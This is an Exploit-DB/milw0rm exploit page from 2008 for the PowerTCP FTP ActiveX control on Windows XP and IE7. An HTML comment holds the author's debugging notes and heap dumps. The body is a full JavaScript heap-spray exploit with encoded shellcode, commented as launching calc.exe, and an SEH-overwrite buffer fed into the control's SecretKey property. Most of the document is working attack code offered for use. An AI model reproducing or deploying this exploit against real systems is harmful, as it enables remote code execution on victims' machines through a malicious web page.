PowerTCP FTP Module - Multiple Techniques (SEH HeapSpray)

EDB-ID:

6840


Platform:

Windows

Published:

2008-10-26

<!--
PowerTCP FTP module Multiple Technique Exploit ( SEH Overwrite + HeapSpray )
bug originally found by : Intel (http://www.milw0rm.com/exploits/6793)
I use Intel's exploit , but IE change unASCII bytes and it doesn't work! ( my system is XP SP2 IE7 ).
then I wrote my own expl with HeapSpray technique , but it doesn't work again.
block of heap that contain my address change after eip point to it!
before jump ( EIP = unkn0wn ) : 
0A0A0A0A  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ����������������
0A0A0A1A  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ����������������
0A0A0A2A  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ����������������
0A0A0A3A  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ����������������
0A0A0A4A  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ����������������
0A0A0A5A  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ����������������
0A0A0A6A  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ����������������
0A0A0A7A  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ����������������
0A0A0A8A  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ����������������
 
 after jump ( EIP = 0x0a0a0a0a ) :
 0A0A0A0A  00 00 00 00 00 01 00 00 0A 0A 0A 0A 0A 0A 0A 0A  ...............
0A0A0A1A  0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A  ................
0A0A0A2A  0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A  ................
0A0A0A3A  0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A  ................
0A0A0A4A  0A 0A 0A 0A 0A 0A 0A 0A 90 90 90 90 0E 00 00 00  ........����...
0A0A0A5A  0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A  ................
0A0A0A6A  0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A 0A  ................
0A0A0A7A  6D 6D 6D 6C 67 67 67 66 6D 6D 6D 6C 67 67 67 66  mmmlgggfmmmlgggf
0A0A0A8A  8F 8F 8F 39 85 85 85 33 8F 8F 8F 39 85 85 85 33  ���9���3���9���3
0A0A0A9A  AE FA FA F9 C9 9D 9D 9F A4 F0 F0 F3 C3 97 97 95  ����ɝ������×��

you know what was happen ?? ( if know tell me plz)
again I wrote exploite ,but with SEH overwrite technique !!! ouch , it would not like to work!!!! 
I use flash9d.ocx for bypass /SafeSeh but ...
at this time I combine SEH overwoite and HeapSpray technique and it work properly !
now Seh Handler point to 0x0a0a0a0a block , so shellcode execute properly without changing heap block!
I think overwriting seh handler with pop/pop/ret and Next handler pointer by 0xHeapAddr work good, try to do it.
------------------------------------------------------
{ special Tnx goes to my friends : str0ke , Amir Ashtiyani ,Alireza , Amir , Yashar , Vahid  and all snoop memberZ }
Shahriyar Jalayeri  <Shahriyar.j // gmail // com > 
Snoop Security Research committee < Snoop-security.com >
-->
<html>
<object id=boom classid="clsid:39FDA070-61BA-11D2-AD84-00105A17B608" ></object>
  <input language=JavaScript onclick=Exploiter() type=button value="Launch Exploit">
   <script>
   // clac.exe
   var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                           "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                           "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                           "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                           "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                           "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                           "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                           "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                           "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                           "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                           "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                           "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                           "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                           "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                           "%u652E%u6578%u9000");
						

 var spraySlide = unescape("%u9090%u9090");
 var heapSprayToAddress = 0x0a0a0a0a;
 var heapBlockSize = 0x400000;
 var SizeOfHeapDataMoreover = 0x5;
 var payLoadSize = (shellcode.length * 2);

 var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
 var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

 var memory = new Array();
 
 function getSpraySlide(spraySlide, spraySlideSize)
   {
    while (spraySlide.length*2<spraySlideSize)
     {
      spraySlide += spraySlide;
     }
    spraySlide = spraySlide.substring(0,spraySlideSize/2);
    return (spraySlide);
   }
  spraySlide = getSpraySlide(spraySlide,spraySlideSize);
   for (i=0;i<heapBlocks;i++)
  {
    memory[i] = spraySlide +  shellcode;
  }
    function Exploiter(){
    var Buffer = 'A';
	var BufferSize = 1716;
	// jump to the nothing!
	var NextSehHandler = unescape("%90%90%90%90");
	// now jump to the Hell Block
	var SehHandler = unescape("%0a%0a%0a%0a");
	while(Buffer.length<BufferSize) Buffer += Buffer;
	Buffer = Buffer.substring(0,BufferSize);
    boom.SecretKey = Buffer + NextSehHandler + SehHandler ; 
    }
   </script>
</html>

# milw0rm.com [2008-10-26]